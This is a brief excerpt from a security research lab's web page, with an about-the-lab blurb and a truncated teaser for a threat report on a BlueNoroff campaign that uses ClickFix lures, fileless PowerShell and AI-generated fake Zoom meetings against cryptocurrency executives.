Arctic Wolf Labs is a group of elite security researchers, data scientists, and security development engineers who explore security topics to deliver cutting-edge threat research on new and emerging adversaries, develop and refine advanced threat detection models with artificial intelligence and machine learning, and drive continuous improvement in the speed, scale, and detection efficacy of Arctic Wolf’s solution offerings.

Arctic Wolf Labs brings world-class security innovations to not only Arctic Wolf’s customer base, but the security community at large.

This intrusion by BlueNoroff represents a significant evolution in state-sponsored cybercrime, blending traditional social engineering with cutting-edge AI-driven deception. The use of deepfake technology to repurpose stolen victim data into convincing lures marks a dangerous escalation in the arms race between attackers and defenders. The campaign’s focus on cryptocurrency executives and founders underscores a strategic shift toward high-value targets with direct access to financial assets, ali...

BlueNoroff Uses ClickFix, Fileless PowerShell, and AI-Generated Fake Zoom Meetings to Target Web3 Sector

Facts Only

Executive Summary

Full Take